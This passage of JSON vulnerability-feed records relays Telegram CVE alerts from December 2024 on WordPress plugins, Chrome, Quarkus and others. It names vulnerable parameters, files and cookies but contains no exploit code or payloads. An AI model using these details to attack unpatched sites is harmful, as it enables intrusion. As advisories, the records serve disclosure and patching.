a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:01.000000Z"}, {"uuid": "d2191103-8e59-4c27-8ce7-9af15f0eda13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12421", "type": "seen", "source": "https://t.me/cvedetector/12843", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12421 - WordPress Coupon Affiliates \u2013 Affiliate Plugin for WooCommerce Arbitrary Shortcode Execution and Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12421 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The The Coupon Affiliates \u2013 Affiliate Plugin for WooCommerce plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 5.16.7.1. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. This functionality is also vulnerable to Reflected Cross-Site Scripting. The Cross-Site Scripting was patched in version 5.16.7.1, while the arbitrary shortcode execution was patched in 5.16.7.2. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:04.000000Z"}, {"uuid": "9c0a2b58-8423-4932-bb31-8a5b3e508570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12420", "type": "seen", "source": "https://t.me/cvedetector/12842", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12420 - WPMobile.App WordPress Shortcode Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12420 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The The WPMobile.App \u2014 Android and iOS Mobile Application plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 11.52. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:04.000000Z"}, {"uuid": "0fbf7f78-c4ae-4674-8294-8e466d2953be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12579", "type": "seen", "source": "https://t.me/cvedetector/12824", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12579 - WordPress Minify HTML ReDoS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12579 \nPublished : Dec. 13, 2024, 5:15 a.m. | 41\u00a0minutes ago \nDescription : The Minify HTML plugin for WordPress is vulnerable to Regular Expression Denial of Service (ReDoS) in all versions up to, and including, 2.1.10. This is due to processing user-supplied input as a regular expression.  This makes it possible for unauthenticated attackers to create comments that can cause catastrophic backtracking and break pages. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T07:24:10.000000Z"}, {"uuid": "baff8a87-0be7-4d21-9804-3b00990d6372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12574", "type": "seen", "source": "https://t.me/cvedetector/12823", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12574 - WordPress SVG Shortcode Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12574 \nPublished : Dec. 13, 2024, 5:15 a.m. | 41\u00a0minutes ago \nDescription : The SVG Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T07:24:09.000000Z"}, {"uuid": "57c006fc-164c-4f25-836a-c9fe12874ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12572", "type": "seen", "source": "https://t.me/cvedetector/12820", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12572 - \"Hello In All Languages CSRF Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12572 \nPublished : Dec. 13, 2024, 4:15 a.m. | 18\u00a0minutes ago \nDescription : The Hello In All Languages plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.6. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T05:43:48.000000Z"}, {"uuid": "3334b941-3142-4508-89e0-1fec692ab284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12312", "type": "seen", "source": "https://t.me/cvedetector/12746", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12312 - Print Science Designer WordPress PHP Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12312 \nPublished : Dec. 12, 2024, 7:15 a.m. | 33\u00a0minutes ago \nDescription : The Print Science Designer plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.3.152 via deserialization of untrusted input through the 'designer-saved-projects' cookie. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T08:48:50.000000Z"}, {"uuid": "819d00a0-b8bc-4df2-aa45-d45e49661d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12329", "type": "seen", "source": "https://t.me/cvedetector/12745", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12329 - Essential Real Estate for WordPress Unauthenticated Sensitive Data Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12329 \nPublished : Dec. 12, 2024, 7:15 a.m. | 33\u00a0minutes ago \nDescription : The Essential Real Estate plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on several pages/post types in all versions up to, and including, 5.1.6. This makes it possible for authenticated attackers, with Contributor-level access and above, to access invoices and transaction logs \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T08:48:49.000000Z"}, {"uuid": "3527e9c7-3260-4c4e-aea5-02e300c51c3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12581", "type": "seen", "source": "https://t.me/cvedetector/12830", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12581 - Kadence WP Gutenberg Blocks with AI Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12581 \nPublished : Dec. 13, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : The Gutenberg Blocks with AI by Kadence WP \u2013 Page Builder Features plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.2.53 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T08:14:25.000000Z"}, {"uuid": "c2a01cda-d959-40ba-aa83-aaf06474c414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12300", "type": "seen", "source": "https://t.me/cvedetector/12819", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12300 - WordPress AR Plugin Unauthorized Double Extension File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12300 \nPublished : Dec. 13, 2024, 4:15 a.m. | 18\u00a0minutes ago \nDescription : The AR for WordPress plugin for WordPress is vulnerable to unauthorized double extension file upload due to a missing capability check on the set_ar_featured_image() function in all versions up to, and including, 7.3. This makes it possible for unauthenticated attackers to upload php files leveraging a double extension attack. It's important to note the file is deleted immediately and double extension attacks only work on select servers making this unlikely to be successfully exploited. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T05:43:47.000000Z"}, {"uuid": "2da9f0f5-d1e0-4ab7-b71e-4b7a59118f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12212", "type": "seen", "source": "https://t.me/cvedetector/12817", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12212 - Apache CSP File validation Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12212 \nPublished : Dec. 13, 2024, 1:15 a.m. | 37\u00a0minutes ago \nDescription : The vulnerability occurs in the parsing of CSP files. The issues result   \nfrom the lack of proper validation of user-supplied data, which could   \nallow reading past the end of allocated data structures, resulting in   \nexecution of arbitrary code. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T03:13:21.000000Z"}, {"uuid": "2cdb8d57-f93a-46bb-b303-42fc6e47a541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12271", "type": "seen", "source": "https://t.me/cvedetector/12788", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12271 - \"360 Javascript Viewer Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12271 \nPublished : Dec. 12, 2024, 1:15 p.m. | 23\u00a0minutes ago \nDescription : The 360 Javascript Viewer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018ref\u2019 parameter in all versions up to, and including, 1.7.29 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T14:40:28.000000Z"}, {"uuid": "adabc369-48d1-40d4-ada9-97efc2dfe768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12401", "type": "seen", "source": "https://t.me/cvedetector/12760", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12401 - \"Cert-manager DoS Denial-of-Service Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12401 \nPublished : Dec. 12, 2024, 9:15 a.m. | 43\u00a0minutes ago \nDescription : A flaw was found in the cert-manager package. This flaw allows an attacker who can modify PEM data that the cert-manager reads, for example, in a Secret resource, to use large amounts of CPU in the cert-manager controller pod to effectively create a denial-of-service (DoS) vector for the cert-manager in the cluster. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T11:20:16.000000Z"}, {"uuid": "693f1f70-b3c4-484d-8407-3f6361a69062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12397", "type": "seen", "source": "https://t.me/cvedetector/12759", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12397 - Quarkus-HTTP Cookie Parsing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12397 \nPublished : Dec. 12, 2024, 9:15 a.m. | 43\u00a0minutes ago \nDescription : A flaw was found in Quarkus-HTTP, which incorrectly parses cookies with  \ncertain value-delimiting characters in incoming requests. This issue could  \nallow an attacker to construct a cookie value to exfiltrate HttpOnly cookie  \nvalues or spoof arbitrary additional cookie values, leading to unauthorized  \ndata access or modification. The main threat from this flaw impacts data  \nconfidentiality and integrity. \nSeverity: 7.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T11:19:28.000000Z"}, {"uuid": "e7916c36-a2df-44f6-ad45-6b55d05583ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12333", "type": "seen", "source": "https://t.me/cvedetector/12758", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12333 - Woodmart WordPress Shortcode Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12333 \nPublished : Dec. 12, 2024, 9:15 a.m. | 43\u00a0minutes ago \nDescription : The Woodmart theme for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 8.0.3. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode through the woodmart_instagram_ajax_query AJAX action. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T11:19:24.000000Z"}, {"uuid": "1b229d6b-c3bb-480d-878a-aed70d4377c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12160", "type": "seen", "source": "https://t.me/cvedetector/12757", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12160 - \"WooCommerce Seraphinite XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-12160 \nPublished : Dec. 12, 2024, 9:15 a.m. | 43\u00a0minutes ago \nDescription : The Seraphinite Bulk Discounts for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 2.4.6. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T11:19:23.000000Z"}, {"uuid": "a38d60e4-674b-444b-8049-e7a725e2bb96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12564", "type": "seen", "source": "https://t.me/cvedetector/12753", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12564 - Open Design Alliance CDE Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12564 \nPublished : Dec. 12, 2024, 8:15 a.m. | 21\u00a0minutes ago \nDescription : Exposure of Sensitive Information to an Unauthorized Actor vulnerability was discovered in Open Design Alliance CDE inWEB SDK before 2025.3. Installing CDE Server with default settings allows unauthorized users to visit prometheus metrics page. This can allow attackers to understand more things about the target application which may help in further investigation and exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T09:39:00.000000Z"}, {"uuid": "273f134a-67f0-41d7-987e-f1e43bf6bcb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12201", "type": "seen", "source": "https://t.me/cvedetector/12748", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12201 - WordPress Hash Form Drag & Drop Form Builder Missing Capability Check Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12201 \nPublished : Dec. 12, 2024, 7:15 a.m. | 33\u00a0minutes ago \nDescription : The Hash Form \u2013 Drag & Drop Form Builder plugin for WordPress is vulnerable to unauthorized access due to a missing capability check when creating form styles in all versions up to, and including, 1.2.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to create new form styles. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T08:48:51.000000Z"}, {"uuid": "43042d62-2456-4a52-9806-8c74b4497dbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12018", "type": "seen", "source": "https://t.me/cvedetector/12735", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12018 - WordPress Snippet Shortcodes Unauthorized Shortcode Deletion\", \n  \"Content\": \"CVE ID : CVE-2024-12018 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Snippet Shortcodes plugin for WordPress is vulnerable to unauthorized Shortcode Deletion due to missing authorization in all versions up to, and including, 4.1.6. Note that a nonce is used as authentication here, but the value is leaked. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete the plugin's Shortcodes. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:36.000000Z"}, {"uuid": "0ef59e2f-06ff-41d0-9a96-5ae5ff896b0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12263", "type": "seen", "source": "https://t.me/cvedetector/12733", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12263 - Orbisius WordPress Child Theme Creator Unauthenticated Data Manipulation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12263 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Child Theme Creator by Orbisius plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the cloud_delete() and cloud_update() functions in all versions up to, and including, 1.5.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update and delete cloud snippets. Please note that this vulnerability was present in the Cloud Library Addon used by the plugin and not in the plugin itself, the cloud library has been removed entirely. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:32.000000Z"}, {"uuid": "54aba3af-e062-4674-8e5c-254f212fb48b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12255", "type": "seen", "source": "https://t.me/cvedetector/12732", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12255 - Stripe Payments Using Contact Form 7 Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12255 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Accept Stripe Payments Using Contact Form 7 plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.5 via the cf7sa-info.php file that returns phpinfo() data. This makes it possible for unauthenticated attackers to extract configuration information that can be leveraged in another attack. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:31.000000Z"}, {"uuid": "6651c1e6-83b7-482b-98de-a2993b845ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12172", "type": "seen", "source": "https://t.me/cvedetector/12731", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12172 - \"Wordpress WP Courses LMS Unauthorized Access Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12172 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The WP Courses LMS \u2013 Online Courses Builder, eLearning Courses, Courses Solution, Education Courses plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the wpc_update_user_meta_option() function in all versions up to, and including, 3.2.21. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary user's metadata which can be levereged to block an administrator from accessing their site when wp_capabilities is set to 0. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:30.000000Z"}, {"uuid": "13b38bdb-b379-4896-b29c-e14c994c0a48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12040", "type": "seen", "source": "https://t.me/cvedetector/12736", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12040 - WooCommerce Product Carousel Slider & Grid Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12040 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Product Carousel Slider & Grid Ultimate for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.9.10 via the 'theme' attribute of the `wcpcsu` shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:37.000000Z"}, {"uuid": "6b92de8d-d415-4cb6-8742-5ad44ac6bd51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12479", "type": "seen", "source": "https://t.me/cvedetector/12660", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12479 - Wetech-CMS SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12479 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in cjbi wetech-cms 1.0/1.1/1.2 and classified as critical. This issue affects the function searchTopicByKeyword of the file wetech-cms-master\\wetech-core\\src\\main\\java\\tech\\wetech\\cms\\dao\\TopicDao.java. The manipulation of the argument keyword leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:39.000000Z"}, {"uuid": "a8addaac-0fcb-46b9-9046-e64b262be268", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://t.me/cvedetector/12659", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12382 - Google Chrome Translate Use-After-Free Heap Corruption\", \n  \"Content\": \"CVE ID : CVE-2024-12382 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : Use after free in Translate in Google Chrome prior to 131.0.6778.139 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:38.000000Z"}, {"uuid": "6da888a7-7055-4890-97d5-6a6e1d48b93d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12485", "type": "seen", "source": "https://t.me/cvedetector/12658", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12485 - Code-projects Online Class and Exam Scheduling System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12485 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in code-projects Online Class and Exam Scheduling System 1.0. This issue affects some unknown processing of the file /pages/department.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 